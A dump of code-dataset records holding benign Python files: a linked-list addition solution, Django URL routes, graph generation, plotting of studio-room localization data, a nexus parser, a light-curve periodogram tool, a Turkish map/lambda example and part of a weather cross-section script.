result = ListNode()\n ptr = result # the current node of the result list during loop\n carry = 0\n while l1 or l2 or carry: # if l1 or l2 is not None or carry is not zero. if carry still nonzero after both list has ended, the loop will continue to add the remaining to digits to result List\n if l1:\n carry += l1.val\n l1 = l1.next\n if l2:\n carry += l2.val\n l2 = l2.next\n\n ptr.next = ListNode(carry%10) # if sum is greater than 9, only add the last digit to the list and carry the remaining part to next loop\n ptr = ptr.next\n carry //= 10\n\n return result.next","sub_path":"2022/*Medium-2-AddTwoNumbers.py","file_name":"*Medium-2-AddTwoNumbers.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"350523445","text":"from django.conf.urls.defaults import patterns, url\nfrom polls.views import take_survey, create_survey, list_survey, edit_survey,\\\n view_survey, create_question, list_question, edit_question, view_question,\\\n create_choice, list_choice, edit_choice, view_choice, list_surveycompletion,\\\n view_surveycompletion, survey_change_questions_order, survey_edit,\\\n view_survey_results\n\nurlpatterns = patterns('',\n\n (r'survey/take/(?P[^/]+)/$', take_survey),\n (r'survey/view_survey_results/(?P[^/]+)/$', view_survey_results),\n url(r'^save_order_changes/(?P[-\\w]+)/$', survey_change_questions_order, name='survey-change-questions-order'),\n\n\n (r'survey/create/$', create_survey),\n (r'survey/list/$', list_survey ),\n (r'survey/edit/(?P[^/]+)/$', survey_edit),\n #(r'survey/tree_edit/(?P[^/]+)/$', survey_edit),\n (r'survey/view/(?P[^/]+)/$', view_survey),\n \n (r'question/create/(?P[^/]+)/$', create_question),\n (r'question/list/(?P[^/]+)/$', list_question ),\n (r'question/edit/(?P[^/]+)/$', edit_question),\n (r'question/view/(?P[^/]+)/$', view_question),\n \n (r'choice/create/(?P[^/]+)/$', create_choice),\n (r'choice/list/(?P[^/]+)/$', list_choice ),\n (r'choice/edit/(?P[^/]+)/$', edit_choice),\n (r'choice/view/(?P[^/]+)/$', view_choice),\n \n (r'surveycompletion/list/$', list_surveycompletion ),\n (r'surveycompletion/view/(?P[^/]+)/$', view_surveycompletion),\n \n)\n\n","sub_path":"polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"29780308","text":"import matplotlib.pyplot as plt\nimport networkx as nx\nimport numpy as np\n\nadj_mats = []\ndeg_mats = []\nlap_mats = []\nedge_mats = []\nadj_list_mats = []\n\nG = nx.Graph()\ncount = 0\nnum_nodes = 10\nwhile count < 1000: # Set the number of generated graphs\n G = nx.fast_gnp_random_graph(num_nodes, 0.4)\n if nx.is_eulerian(G): #generated Eulerian graphs\n # if not nx.is_eulerian(G): # generated non-Eulerian graphs\n adj_mat = np.array(nx.adj_matrix(G).todense()) # Adjacency matrix\n print(adj_mat)\n\n deg_mat = np.zeros_like(adj_mat) # Degree matrix\n for i in range(adj_mat.shape[0]): deg_mat[i][i] = adj_mat[i].sum() # The number on the diagonal is the sum of each row of the adjacency matrix\n print(deg_mat)\n\n lap_mat = deg_mat - adj_mat # Laplacian matrix\n print(lap_mat)\n\n edge_mat = np.array([[i[0], i[1]] for i in nx.to_edgelist(G)]) # Edge list\n print(nx.to_edgelist(G))\n print(edge_mat)\n\n adj_list_mat = [v for k, v in nx.to_dict_of_lists(G).items()] # Adjacency list\n for i in range(len(adj_list_mat)):\n for j in range(9 - len(adj_list_mat[i])):\n adj_list_mat[i].append(0)\n adj_list_mat = np.array(adj_list_mat)\n print(nx.to_dict_of_lists(G))\n print(adj_list_mat)\n\n\n count += 1\n\n adj_mats.append(adj_mat)\n deg_mats.append(deg_mat)\n lap_mats.append(lap_mat)\n edge_mats.append(edge_mat)\n adj_list_mats.append(adj_list_mat)\n # print(count)\n nx.draw(G, with_labels=True)\n plt.show()\n break\n\n G.clear()\n\nadj_mats = np.array(adj_mats)\ndeg_mats = np.array(deg_mats)\nlap_mats = np.array(lap_mats)\nedge_mats = np.array(edge_mats)\nadj_list_mats = np.array(adj_list_mats)\n\n# np.save('data/train_eulerian_adj.npy', adj_mats)\n# np.save('data/train_eulerian_deg.npy', deg_mats)\n# np.save('data/train_eulerian_lap.npy', lap_mats)\n# np.save('data/train_eulerian_edge.npy', edge_mats)\n# np.save('data/train_eulerian_adj_list.npy', adj_list_mats)\n\n\n# np.save('data/eval_eulerian_adj.npy', adj_mats)\n# np.save('data/eval_eulerian_deg.npy', deg_mats)\n# np.save('data/eval_eulerian_lap.npy', lap_mats)\n# np.save('data/eval_eulerian_edge.npy', edge_mats)\n# np.save('data/eval_eulerian_adj_list.npy', adj_list_mats)\n\n\n# np.save('data/train_non_eulerian_adj.npy', adj_mats)\n# np.save('data/train_non_eulerian_deg.npy', deg_mats)\n# np.save('data/train_non_eulerian_lap.npy', lap_mats)\n# np.save('data/train_non_eulerian_edge.npy', edge_mats)\n# np.save('data/train_non_eulerian_adj_list.npy', adj_list_mats)\n\n\n# np.save('data/eval_non_eulerian_adj.npy', adj_mats)\n# np.save('data/eval_non_eulerian_deg.npy', deg_mats)\n# np.save('data/eval_non_eulerian_lap.npy', lap_mats)\n# np.save('data/eval_non_eulerian_edge.npy', edge_mats)\n# np.save('data/eval_non_eulerian_adj_list.npy', adj_list_mats)\n","sub_path":"gen_graph.py","file_name":"gen_graph.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"486750619","text":"#!/usr/bin/env python\n\n\"\"\"\n File: graph.py\n Author: Nathan Ashcraft\n Date: 3 December 2015\n\n Script for mapping localization output\n to graph representation of studio room.\n\"\"\"\n\nimport argparse\nimport os\nimport sys\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Globals\n#==============================================================================\nHEAT = 'heatmap'\nSTND = 'standard'\n\n# See studio-layout.jpg in Google Drive for dimensions\nX_MAX = 24.0 + (5.0 / 12.0)\nX_MIN = 0.0\nY_MAX = 37.0 + (2.0 / 12.0)\nY_MIN = 0.0\nLTOPY = 26.0 + (7.0 / 12.0)\nTOPX = 12.0 + (7.0 / 12.0)\nRTOPY = 29.0 + (4.0 / 12.0)\n\n# Helper Functions\n#==============================================================================\n\ndef setup_arguments():\n '''\n Set up the command-line argument options.\n\n @return: Parsed command-line arguments\n '''\n\n # Program description\n desc = 'Map localization output to studio room graphical representation.'\n parser = argparse.ArgumentParser(description = desc)\n\n # Required arguments\n parser.add_argument('input', metavar = 'Input_CSV', type = str,\n help = 'path to CSV containing localization data')\n\n # Optional arguments\n parser.add_argument('-t', '--title', dest = 'title', type = str,\n default = 'Actual Studio Room', help = 'title of output graph')\n parser.add_argument('-o', '--output', dest = 'output_dir', type = str,\n default = '.', help = 'directory to store output file')\n parser.add_argument('-f', '--file', dest = 'output_file', type = str,\n default = 'output', help = 'name of output file')\n\n # Optional argument array for displaying mic and audio points with heatmap\n parser.add_argument('-p', '--points', dest = 'heat_opts',\n nargs = '+', type = int,\n help = '[(1,2,3), (1,2)] => Recording, Audio Source')\n\n return parser.parse_args()\n\ndef get_arguments():\n '''\n Ensure arguments passed are valid.\n\n @return: Valid arguments\n '''\n\n args = setup_arguments()\n\n # Just need to check that input file actually exists\n if not os.path.isfile(args.input):\n print(sys.argv[0] + ': file \\\"' + args.input + '\\\" does not exist!')\n sys.exit()\n\n # Ensure input file is CSV\n if not args.input.endswith('.csv'):\n print(sys.argv[0] + ': file \\\"' + args.input + '\\\" is not a CSV!')\n sys.exit()\n\n # Ensure proper input for heatmap options\n if args.heat_opts:\n\n # Correct number of entries\n if len(args.heat_opts) != 2:\n print(sys.argv[0] + ': invalid heatmap options (below):')\n print(args.heat_opts)\n sys.exit()\n\n # Check valid recording number\n tmp = args.heat_opts[0]\n if tmp < 1 or tmp > 3:\n print(sys.argv[0] + ': invalid recording number ' + str(tmp) + '\\\"!')\n sys.exit()\n\n # Check valid audio source number\n tmp = args.heat_opts[1]\n if tmp < 1 or tmp > 2:\n print(sys.argv[0] + ': invalid audio source number \\\"' + str(tmp) + '\\\"!')\n sys.exit()\n\n return args\n\ndef get_input(filename):\n '''\n Pull in localization points from input file.\n\n @param filename: Name of file to read input data\n @return Numpy array of data points\n '''\n\n points = []\n\n # Read array of points\n # One point per file line, (x,y) format\n with open(filename, 'rb') as fin:\n reader = csv.reader(fin)\n for row in reader:\n points.append(row)\n\n # Coordinates are parsed to floating point numbers\n points = np.array(points, dtype = float)\n\n # Get appropriate graph type based on dimension of input data points\n size = points[0].size\n if size == 2:\n graph_type = STND\n elif size == 3:\n graph_type = HEAT\n else:\n graph_type = size\n\n return graph_type, points\n\n# Graphing Functions\n#==============================================================================\n\ndef create_studio_room(loc_mics, loc_audio, handles):\n '''\n Create graphical representation of studio room.\n\n @param loc_mics: Coordinates of microphones\n @param loc_audio: Calculated coordinates of audio sources\n @param handles: Handles to line plots for legend generation\n '''\n\n # Plot microphone locations\n\n # Lump all mics together\n handles.append( plt.plot(loc_mics[:,0], loc_mics[:,1], 'ko', label = 'Mics')[0] )\n\n # Individual mics\n # count = 1\n # for m in loc_mics:\n # handles.append( plt.plot(m[0], m[1], 'o', label = 'Mic ' + str(count))[0] )\n # count = count + 1\n\n # Plot audio source locations\n\n # Lump all audio sources together\n #handles.append( plt.plot(loc_audio[:,0], loc_audio[:,1], 'r*', label = 'Audio Sources')[0] )\n\n # Individual audio sources\n count = 1\n for a in loc_audio:\n handles.append( plt.plot(a[0], a[1], '*', label = 'Audio Source ' + str(count))[0] )\n count = count + 1\n\n # Set legend\n plt.legend(handles = handles, bbox_to_anchor = (1, 1.021), loc = 2)\n\ndef process_heatmap_options(options, handles):\n '''\n Process heatmap options.\n\n @param options: Options for plotting mic and audio source locations\n @param handles: Handles to line plots for legend generation\n '''\n\n # Backout if nothing to do\n if not options:\n return\n\n # Points generator\n import generators.generate_actual_points as gap\n\n # Generate points\n gap.generate_points(True)\n points = np.array(gap.POINTS[options[0] - 1])\n\n # Plot points\n src_pnt = [points[3]] if options[1] == 1 else [points[-1]]\n create_studio_room(points[0:3], src_pnt, handles)\n\ndef create_studio_heatmap(data, handles):\n '''\n Create heatmap of studio room indicating calculated\n correlation for possible audio source coordinates.\n\n NOTE: Assumes CSV data lists all y-values for one x-value before\n cycling through next x-value.\n i.e.\n for x in x_vals:\n for y in y_vals:\n (x, y, corr)\n\n @param data: Data points (x,y,corr)\n @param handles: Handles to line plots for legend generation\n '''\n\n # Get x- and y- bounds\n x_bounds = [data[0][0]]\n y_bounds = []\n columns = 1\n for p in data:\n if not p[0] == x_bounds[-1]:\n x_bounds.append(p[0])\n columns += 1\n if columns == 1:\n y_bounds.append(p[1])\n\n # Need to add an extra bound in each dimension\n # for the maximum values of the room's grid\n x_bounds.append(X_MAX)\n y_bounds.append(Y_MAX)\n\n # Create grid bounds\n columns += 1\n rows = len(y_bounds)\n x = np.array( [x_bounds for i in range(rows)] )\n y = np.array( [[v] * columns for v in y_bounds] )\n\n # Lower column and row counts to avoid indexing out of bounds\n columns -= 1\n rows -= 1\n\n # Create grid values\n z = [[] for i in range(rows)]\n for a in range(columns):\n for b in range(rows):\n z[b].append( data[a * rows + b][2] )\n z = np.array(z)\n\n plt.pcolormesh(x, y, z)\n\n # Set color bar properties\n cb = plt.colorbar()\n cb.ax.text(4.5, 0.5, 'Correlation', rotation = 0)\n\n # Set legend\n plt.legend(handles = handles, bbox_to_anchor = (1.25, 1.021), loc = 2)\n\ndef create_graph(graph_type, heat_opts, data, title, output_dir, output_file):\n '''\n Wrapper to call correct graphing function.\n\n @param graph_type: Specify graphing function\n @param heat_opts: Optional inputs for heatmapping\n @param data: Data points used for graphing\n @param title: Title of generated plot\n @param output_dir: Directory to save output file\n @param output_file: Name of output file\n '''\n\n # Check for valid data input\n if not (graph_type == STND or graph_type == HEAT):\n print(sys.argv[0] + ': input file \\\"' + args.input + '\\\" contains invalid data!')\n print(sys.argv[0] + ': data is of invalid size ' + str(graph_type))\n sys.exit()\n\n # Create output directory if it doesn't already exist\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n # Set labels\n plt.suptitle(title, fontsize = 12)\n plt.xlabel('feet')\n plt.ylabel('feet', horizontalalignment = 'right',rotation = 0)\n\n # Set axes bounds\n plt.xlim([X_MIN - 1, X_MAX + 1])\n plt.ylim([Y_MIN - 1, Y_MAX + 1])\n\n # Handles for legend entries\n handles = []\n\n # Plot grid boundaries\n bump = 0.15 # Not sure why this is necessary, but the grid stops just short of Y_MAX in actual plot\n lines = [\n [X_MIN, X_MIN, X_MIN, X_MAX, X_MAX, X_MAX, X_MIN, X_MAX],\n [Y_MIN, Y_MAX + bump, Y_MAX + bump, Y_MAX + bump, Y_MAX + bump, Y_MIN, Y_MIN, Y_MIN]\n ]\n handles.append( plt.plot(lines[0], lines[1], 'k--', linewidth = 0.5, label = 'Grid Boundary')[0] )\n\n # Plot walls in studio room\n lines = [\n [X_MIN, X_MIN, X_MIN, TOPX, TOPX, X_MAX, X_MAX, X_MAX, X_MIN, X_MAX],\n [Y_MIN, LTOPY, LTOPY, Y_MAX, Y_MAX, RTOPY, RTOPY, Y_MIN, Y_MIN, Y_MIN]\n ]\n handles.append( plt.plot(lines[0], lines[1], 'k-', linewidth = 1.5, label = 'Walls')[0] )\n\n # Standard studio room recreation with mic and audio coordinates\n if graph_type == STND:\n\n # First three points are microphone locations 1, 2, 3 (in that order)\n create_studio_room(data[0:3], data[3:], handles)\n\n # Heatmap of studio room with grid-like coordinate and correlation pairs\n elif graph_type == HEAT:\n\n process_heatmap_options(heat_opts, handles)\n create_studio_heatmap(data, handles)\n\n # Save figure as PNG\n plt.savefig(os.path.join(output_dir, output_file) + '.png', bbox_inches = 'tight')\n\n# Run Script\n#==============================================================================\nif __name__ == '__main__':\n args = get_arguments()\n graph_type, data = get_input(args.input)\n create_graph(graph_type, args.heat_opts, data, args.title, args.output_dir, args.output_file)\n","sub_path":"src/graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":10214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"147586966","text":"import re\n\nCOMMENT_PATTERN = re.compile(r\"\"\"(\\[.*?\\])\"\"\")\nQUOTED_PATTERN = re.compile(r\"\"\"^[\"'](.*)[\"']$\"\"\")\nWHITESPACE_PATTERN = re.compile(r\"\"\"\\s+\"\"\")\nMESQUITE_TITLE_PATTERN = re.compile(r\"\"\"^TITLE\\s+(.*);$\"\"\", re.IGNORECASE)\nMESQUITE_LINK_PATTERN = re.compile(\n r\"\"\"^LINK\\s+(.*?)\\s+=\\s+(.*);$\"\"\", re.IGNORECASE\n)\nBEGIN_PATTERN = re.compile(r\"\"\"begin (\\w+)(\\s*|\\[.*\\]);\"\"\", re.IGNORECASE)\nEND_PATTERN = re.compile(r\"\"\"end\\s*;\"\"\", re.IGNORECASE)\n\n\nclass GenericHandler(object):\n \"\"\"\n Handlers are objects to store specialised blocks found in nexus files.\n\n Nexus Block->Handler mapping is initialised in Nexus.handlers\n\n Handlers have (at least) the following attributes:\n\n 1. parse(self, data) - the function for parsing the block\n 2. write(self, data) - a function for returning the block to a text\n representation (used to regenerate a nexus file).\n 3. block - a list of raw strings in this block\n \"\"\"\n def __init__(self):\n \"\"\"Initialise datastore in under \"\"\"\n self.block = []\n\n def parse(self, data):\n \"\"\"\n Parses a generic nexus block from `data`.\n\n :param data: nexus block data\n :type data: string\n\n :return: None\n \"\"\"\n self.block.extend(data)\n # save comments\n self.comments = []\n for line in data:\n if line.strip().startswith(\"[\") and line.strip().endswith(\"]\"):\n self.comments.append(line)\n\n def remove_comments(self, line):\n \"\"\"\n Removes comments from lines\n\n >>> g = GenericHandler()\n >>> g.remove_comments(\"Hello [world]\")\n 'Hello '\n >>> g.remove_comments(\"He[bite]ll[me]o\")\n 'Hello'\n\n :param line: string\n :type line: string\n\n :return: Returns a cleaned string.\n \"\"\"\n return COMMENT_PATTERN.sub('', line)\n\n def write(self):\n \"\"\"\n Generates a string containing a generic nexus block for this data.\n\n :return: String\n \"\"\"\n return \"\\n\".join(self.block)\n \n def is_mesquite_attribute(self, line):\n \"\"\"\n Returns True if the line is a mesquite attribute\n \n :return: Boolean\n \"\"\"\n if MESQUITE_TITLE_PATTERN.match(line):\n return True\n elif MESQUITE_LINK_PATTERN.match(line):\n return True\n return False\n","sub_path":"nexus/handlers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"203835976","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 15 11:15:29 2020\n\n@author:\nMaximilian N. Günther\nMIT Kavli Institute for Astrophysics and Space Research, \nMassachusetts Institute of Technology,\n77 Massachusetts Avenue,\nCambridge, MA 02109, \nUSA\nEmail: maxgue@mit.edu\nWeb: www.mnguenther.com\n\"\"\"\n\nfrom __future__ import print_function, division, absolute_import\n\n#::: modules\nimport os, sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport warnings\nfrom astropy.stats import sigma_clip\nfrom astropy.timeseries import LombScargle\nfrom wotan import flatten#, slide_clip\nfrom time import time as timer\n\n#::: my modules\nfrom ..exoworlds_rdx.lightcurves.lightcurve_tools import plot_phase_folded_lightcurve \nfrom .fast_slide_clip import fast_slide_clip\n \n#::: plotting settings\nimport seaborn as sns\nsns.set(context='paper', style='ticks', palette='deep', font='sans-serif', font_scale=1.5, color_codes=True)\nsns.set_style({\"xtick.direction\": \"in\",\"ytick.direction\": \"in\"})\nsns.set_context(rc={'lines.markeredgewidth': 1})\n\n\n\n\n###############################################################################\n#::: run a periodogram via astropy to get the dominant period and FAP\n###############################################################################\ndef estimate_period(time, flux, flux_err, periodogram_kwargs=None, astropy_kwargs=None, wotan_kwargs=None, options=None):\n \n #==========================================================================\n #::: handle inputs\n #==========================================================================\n cadence = np.nanmedian(np.diff(time))\n \n if periodogram_kwargs is None: periodogram_kwargs = {}\n if 'minperiod' not in periodogram_kwargs: periodogram_kwargs['minperiod'] = 10. * cadence\n if 'maxperiod' not in periodogram_kwargs: periodogram_kwargs['maxperiod'] = time[-1]-time[0]\n \n if astropy_kwargs is None: astropy_kwargs = {}\n if 'sigma' not in astropy_kwargs: astropy_kwargs['sigma'] = 5\n \n if wotan_kwargs is None: wotan_kwargs = {}\n if 'slide_clip' not in wotan_kwargs: wotan_kwargs['slide_clip'] = {}\n if 'window_length' not in wotan_kwargs['slide_clip']: wotan_kwargs['slide_clip']['window_length'] = 1.\n if 'low' not in wotan_kwargs['slide_clip']: wotan_kwargs['slide_clip']['low'] = 5\n if 'high' not in wotan_kwargs['slide_clip']: wotan_kwargs['slide_clip']['high'] = 5\n\n if options is None: options = {}\n if 'show_plot' not in options: options['show_plot'] = False\n if 'save_plot' not in options: options['save_plot'] = False\n if 'fname_plot' not in options: options['fname_plot'] = 'periodogram'\n if 'outdir' not in options: options['outdir'] = '.'\n \n minfreq = 1./periodogram_kwargs['maxperiod']\n maxfreq = 1./periodogram_kwargs['minperiod']\n \n \n #==========================================================================\n #::: first, a global 5 sigma clip\n #==========================================================================\n ff = sigma_clip(np.ma.masked_invalid(flux), sigma=astropy_kwargs['sigma']) #astropy wants masked arrays\n ff = np.array(ff.filled(np.nan)) #use NaN instead of masked arrays, because masked arrays drive me crazy\n \n \n #==========================================================================\n #::: fast slide clip (1 day, 5 sigma) [replaces Wotan's slow slide clip]\n #==========================================================================\n try: ff = fast_slide_clip(time, ff, **wotan_kwargs['slide_clip'])\n except: print('Fast slide clip failed and was skipped.') \n \n \n #==========================================================================\n #::: now do the periodogram\n #==========================================================================\n ind_notnan = np.where(~np.isnan(time*ff*flux_err))\n ls = LombScargle(time[ind_notnan], ff[ind_notnan]) #Analyze our dates and s-index data using the AstroPy Lomb Scargle module\n frequency, power = ls.autopower(minimum_frequency=minfreq, maximum_frequency=maxfreq) #Determine the LS periodogram\n best_power = np.nanmax(power)\n best_frequency = frequency[np.argmax(power)]\n FAP=ls.false_alarm_probability(best_power) #Calculate the FAP for the highest peak in the power array \n \n \n #==========================================================================\n #::: plots\n #==========================================================================\n if options['show_plot'] or options['save_plot']: \n \n peak_loc=round(float(1./best_frequency),2) \n FAP_probabilities = [0.5, 0.1, 0.01] #Enter FAP values you want to determine\n FAP_levels=ls.false_alarm_level(FAP_probabilities) #Get corresponding LS Power values\n \n fig, axes = plt.subplots(5,1,figsize=[10,15], tight_layout=True) \n axes = np.atleast_1d(axes)\n \n ax = axes[0] \n ind_clipped = np.where(np.isnan(ff))[0]\n ax.plot(time[ind_clipped], flux[ind_clipped], 'r.', rasterized=True)\n ax.plot(time, ff, 'b.', rasterized=True)\n ax.set(xlabel='Time (BJD)', ylabel='Flux')\n \n ax = axes[1] \n ax.plot(time, ff, 'b.', rasterized=True)\n ax.set(xlabel='Time (BJD)', ylabel='Flux (clipped)')\n \n ax = axes[2] \n ax.semilogx(1./frequency,power,color='b') \n ax.plot(peak_loc, best_power, marker='d', markersize=12, color='r') \n ax.text(peak_loc*1.2,best_power*0.95,'Peak Period: '+str(peak_loc)+' days')\n ax.text(peak_loc*1.2,best_power*0.85,'FAP: '+str(FAP)) \n ax.hlines(FAP_levels, periodogram_kwargs['minperiod'], periodogram_kwargs['maxperiod'], color='grey', lw=1) \n ax.text(periodogram_kwargs['maxperiod'], FAP_levels[0],'0.5% FAP ', ha='right') \n ax.text(periodogram_kwargs['maxperiod'], FAP_levels[1],'0.1% FAP ', ha='right')\n ax.text(periodogram_kwargs['maxperiod'], FAP_levels[2],'0.01% FAP ', ha='right')\n ax.set(xlabel='Period (days)', ylabel='L-S power') \n ax.tick_params(axis='both',which='major') \n# ax.text(peak_loc*1.2,best_power*0.75,'std_old:'+str(std_old*1e3)[0:4]+' --> '+'std_new:'+str(std_new*1e3)[0:4]) \n \n ax = axes[3]\n plot_phase_folded_lightcurve(time, ff, period=1./best_frequency, epoch=0, ax=ax)\n ax.set(ylim=[np.nanmin(ff), np.nanmax(ff)], ylabel='Flux (clipped)', xticklabels=[])\n \n ax = axes[4]\n plot_phase_folded_lightcurve(time, ff, period=1./best_frequency, epoch=0, ax=ax)\n ax.set(ylabel='Flux (clipped; y-zoom)')\n \n if options['save_plot']:\n if not os.path.exists(options['outdir']): os.makedirs(options['outdir'])\n fig.savefig(os.path.join(options['outdir'],options['fname_plot']+'.pdf'), bbox_inches='tight')\n if options['show_plot']:\n plt.show(fig)\n else:\n plt.close(fig)\n \n \n return 1./best_frequency, FAP \n\n\n\n###############################################################################\n#::: estimate a good window length for spline knots, running median etc.\n###############################################################################\n# def estimate_window_length(time, flux, flux_err, periodogram_kwargs=None, wotan_kwargs=None, options=None):\n# window_length_min = 12./24. #at least 12h to not destroy planets\n# window_length_max = 1. #at most 1 day\n# cadence = np.median(np.diff(time))\n# best_period, FAP = estimate_period(time, flux, flux_err)\n \n# if best_period < 100.*cadence: \n# window_length = best_period/10.\n# return np.min()\n \n# return best_period/10.\n# else:\n# return None\n# warnings.warn('Returning None. Best period was found to be', best_period*24*60, 'min., but cadence is only', cadence*24*60, 'min.')\n \n \n\n###############################################################################\n#::: remove periodic trends\n###############################################################################\n# def estimate_trend(time, flux, flux_err):\n \n# iterations = 3 \n# wotan_kwargs = {'slide_clip':{}, 'flatten':{}}\n# wotan_kwargs['slide_clip']['window_length'] = 1.\n# wotan_kwargs['slide_clip']['low'] = 3.\n# wotan_kwargs['slide_clip']['high'] = 3.\n# wotan_kwargs['flatten']['method'] = 'rspline'\n# wotan_kwargs['flatten']['window_length'] = None\n# wotan_kwargs['flatten']['break_tolerance'] = 0.5\n \n# trend = np.ones_like(time)\n \n# #::: global sigma clipping\n# flux = sigma_clip(flux, sigma_upper=3, sigma_lower=20)\n \n# #::: 1 day slide clip\n# flux = slide_clip(time, flux, **wotan_kwargs['slide_clip'])\n \n# for i in range(iterations):\n# wotan_kwargs['flatten']['window_length'] = estimate_window_length(time, flux, flux_err)\n# print(wotan_kwargs['flatten']['window_length']*10)\n# if wotan_kwargs['flatten']['window_length'] is not None:\n# flux, trend1 = flatten(time, flux, return_trend=True, **wotan_kwargs['flatten'])\n# trend += (trend1 - 1.)\n# plt.figure()\n# plt.plot(time, flux)\n# plt.title(i)\n \n \n# return trend\n \n \n ","sub_path":"allesfitter/detection/periodicity.py","file_name":"periodicity.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"536799440","text":"# coding:iso-8859-9 Türkçe\r\n# p_13207.py: Sipariş kitap adet*fiyat*1.05 < €100 ise faturaya €10 ekle list(map(lambda...)) örneği.\r\n\r\nsiparişler = [ [\"1903260001\", \"Python Öğrenelim, Mark Lutz\", 4, 40.95],\r\n [\"1903260028\", \"Python Programcılığı, Mark Lutz\", 5, 56.80],\r\n [\"1903260156\", \"Python'la İlk Yüzleşme, Paul Barry\", 3, 32.96],\r\n [\"1903260654\", \"Python3'le Tanışalım, Bernd Klein\", 3, 24.99],\r\n [\"1903260802\", \"Python'la Programlama, Brian Heinhold\", 7, 27.68],\r\n [\"1903260997\", \"Python Öğrenimi, H.Sohrabpoor\", 17, 12.50] ]\r\n\r\nfaturaTutarı = list (map (lambda x: x if x[2] >= 100 else (x[0], x[1], x[2] + 10), # Fatura tutarı < 100 € ise 10 € ekle...\r\n map (lambda x: (x[0], x[1], (x[2] * x[3]) * 1.05), siparişler) ) ) # Faturaya %5 vergiler ekleniyor...\r\n\r\nprint (\" Sipariş No Kitabın Adı Fatura Tutarı\", \"\\n\", \"=\"*64, sep=\"\")\r\nfor i in range (len (faturaTutarı)): print (faturaTutarı [i])\r\n\r\n\"\"\"Çıktı:\r\n>python p_13207.py\r\n Sipariş No Kitabın Adı Fatura Tutarı\r\n================================================================\r\n('1903260001', 'Python Öğrenelim, Mark Lutz', 171.99)\r\n('1903260028', 'Python Programcılığı, Mark Lutz', 298.2)\r\n('1903260156', \"Python'la İlk Yüzleşme, Paul Barry\", 103.824)\r\n('1903260654', \"Python3'le Tanışalım, Bernd Klein\", 88.7185)\r\n('1903260802', \"Python'la Programlama, Brian Heinhold\", 203.448)\r\n('1903260997', 'Python Öğrenimi, H.Sohrabpoor', 223.125)\r\n\"\"\"","sub_path":"Bernd Klein (520) ile Python/p_13207.py","file_name":"p_13207.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"5791564","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n##############################################################################\n#\n# Author : Alzbeta Medvedova\n#\n# This script takes netCDF files as input and produces plots of vertical\n# cross-sections of multiple atmospheric variables relevant for weather\n# forecasting.\n#\n# STEPS:\n# 1. Combine input files into one dataset (load_cut_nc_files)\n# 2. Add geopotential and pressure to the dataset (geopotential_calculation)\n# 3. Add all calculated variables (calculations)\n# 4. Select time and slices/cross-sections (load_cut_nc_files)\n# 5. Make desired plots for the selected cross-section of data (plotting)\n#\n#\n# TODO LIST:\n# - re-write the geopotential calculation code to work with selected slices\n# instead of whole 4D fields: for speed-up of the code\n# - write tests to see if everything works, run those when changes are made\n# - possibly rewrite this script to take also slice definition / time as a\n# command line argument, not only file names? If not, pre-define which time\n# steps we want to plot. It takes too long to calculate the data for diagonal\n# cross-sections for all the time steps otherwise.\n# - write checks if input files are correct and contain the expected variables\n# - change the name of saved files: include info on which silice it is\n#\n##############################################################################\n\n\nimport os\nimport sys\nimport pandas as pd\n\n# import: local dependencies\nfrom load_cut_nc_files import get_input_data\nfrom geopotential_calculation import get_geopotential\nfrom calculations import calculate_all_vars\nfrom load_cut_nc_files import slice_lat, slice_lon, slice_diag\n\n# definitions of plotting functions/classes\nfrom plotting import Wind_plot, Temperature_plot, RH_plot, \\\n Stability_plot, Precipitation_plot\nfrom plotting import plot_topography\n\n\n# bool option to save all the produced figures (now used for )\nsavefigs = True\n\n# %% Load all data, get geopotential\n\n# parse path to files - command line arguments\nML_DATA = sys.argv[1] # model level data\nSFC_LNSP = sys.argv[2] # log of surface pressure data\nGEOPOTENTIAL_DATA = sys.argv[3] # surface geopotential data\n\npath_figs = sys.argv[4] # path to save figures\n\n# load all model data, combine into one dataset for convenience\nds = get_input_data(filename_model_level=ML_DATA,\n filename_sfc_lnsp=SFC_LNSP,\n filename_sfc_geopotential=GEOPOTENTIAL_DATA)\n\n# Calculate geopotential and pressure: do this BEFORE choosing slices!\nds = get_geopotential(os.getcwd(), ds)\n\n# add \"initial time\" attribute to calculate time differences later\nds.attrs['init_time'] = pd.to_datetime(ds.time[0].values)\n\n\n# %% Choose data slices: add all variables to them\n\n# slices along chosen latitudes/longitudes\n# THESE ARE EXAMPLE VALUES: to be deterined which cross-sections are going to\n# be \"standardized\" for the weather briefing\nds_lat = slice_lat(ds, [46.0, 47.3, 48.0, 50.0])\nds_lon = slice_lon(ds, [5.5, 6.6, 7.6, 11.4, 12.4, 13.3])\n\n# Add calculated variables to the data set\nds_lat = calculate_all_vars(ds_lat)\nds_lon = calculate_all_vars(ds_lon)\n\n# %% Plot top view of where the cross-sections are now\n# this is useful for visualizing where the cross-sections are\n# values of the plotted lines must be chosen directly in the function\n\nplot_topo = False\nif plot_topo:\n fig, ax = plot_topography(ds)\n\n\n# %% Trial cross-section plotting: EXAMPLE CASES\n# uncomment whatever line(s) to get different examples\n# with the limited example files, select time between 0 and 5\n\n# EXAMPLES: LAT / LON CROSS-SECTIONS\ndata_out = ds_lat.sel(latitude=47.3, method='nearest').isel(time=2)\n# data_out = ds_lon.sel(longitude=11.4, 